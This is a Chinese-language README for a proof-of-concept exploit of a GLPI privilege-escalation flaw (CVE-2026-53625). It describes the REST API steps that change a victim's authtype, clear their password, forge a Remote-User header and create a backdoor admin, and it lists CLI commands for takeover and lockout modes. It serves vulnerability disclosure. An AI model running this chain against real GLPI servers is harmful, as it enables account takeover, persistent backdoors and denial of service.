CVE-2026-53625 - GLPI 通过 authtype 操纵实现权限提升的 PoC

📌 概览

本仓库为 CVE-2026-53625 提供了一个合乎道德的 Proof-of-Concept (PoC) 演示， 这是 GLPI 中的一个 高危 权限提升漏洞，影响从 0.70 到 11.0.7 的所有版本。

低权限用户（技术员）可通过 REST API 操纵 authtype 字段，从而完全控制包括 超级管理员在内的任何账户。该攻击串联了三个弱点，实现完全账户接管并创建持久后门。

官方公告： GHSA-94rp-v9f2-5rj7

📝 漏洞摘要

GLPI 在用户通过 REST API 更新其他用户记录时未检查权限级别。 authtype 字段未受保护， 将其更改为 EXTERNAL 会导致 GLPI 自动清空受害者的密码。 结合可伪造的 SSO 标头（Remote-User），可实现完全账户接管。

• CVE ID： CVE-2026-53625
• 受影响软件： GLPI
• 受影响版本： 0.70 – 11.0.7
• 修复版本： 10.0.26, 11.0.8
• 严重性： 高危 — CVSS 7.5（v4）
• 身份认证： 必需（技术员配置文件即可）
• 影响： 完全账户接管、持久后门、管理员被锁定（DoS）
• 攻击向量： REST API + 可伪造的 SSO 标头

工作原理

1. 通过 REST API 以技术员身份认证 （POST /apirest.php/initSession）
2. 枚举用户并识别超级管理员目标 （GET /apirest.php/User）
3. 通过 PUT /apirest.php/User/{id} 将受害者的 authtype 更改为 EXTERNAL（4）—— GLPI 会自动清空密码 （User.php:1277）
4. 伪造 Remote-User: {victim} HTTP 标头，以受害者身份获取会话 —— 无需密码
5. 切换到超级管理员配置文件并创建持久后门账户

未配置 SSO 时：该攻击仍可造成 DoS —— 受害者的 密码被清空并被锁定。此影响无需 SSO。

📚 参考资料与致谢

• 公告： GHSA-94rp-v9f2-5rj7
• CVE： CVE-2026-53625
• 发现者： 7h30th3r0n3（已在公告中致谢）

⚠️ 法律声明

本 PoC 仅用于教育和授权测试。 仅可在您拥有或已获得明确许可的系统上使用。 作者和贡献者不对滥用行为负责。

📦 安装

克隆仓库：

git clone https://github.com/7h30th3r0n3/CVE-2026-53625-GLPI-PoC.git
cd CVE-2026-53625-GLPI-PoC

依赖项： bash、curl、python3、openssl

🖥️ 用法（CLI）

该 PoC 支持两种攻击模式：

# Full takeover chain (default) — requires SSO with forgeable header:
./poc_authtype_takeover.sh --auto http://glpi.local tech P@ss

# DoS only — lock out admin, no SSO needed:
./poc_authtype_takeover.sh --lockdown --auto http://glpi.local tech P@ss

# Safe mode — prove chain on sacrificial user, zero impact on real accounts:
./poc_authtype_takeover.sh --safe --verbose http://glpi.local tech P@ss

# Full takeover + restore victim afterward:
./poc_authtype_takeover.sh --backdoor --restore --restore-pass 'NewPass!' --auto http://glpi.local tech P@ss

运行 ./poc_authtype_takeover.sh --help 查看所有选项。

✍️ 作者

该漏洞由 7h30th3r0n3 发现并开发了相应的 PoC。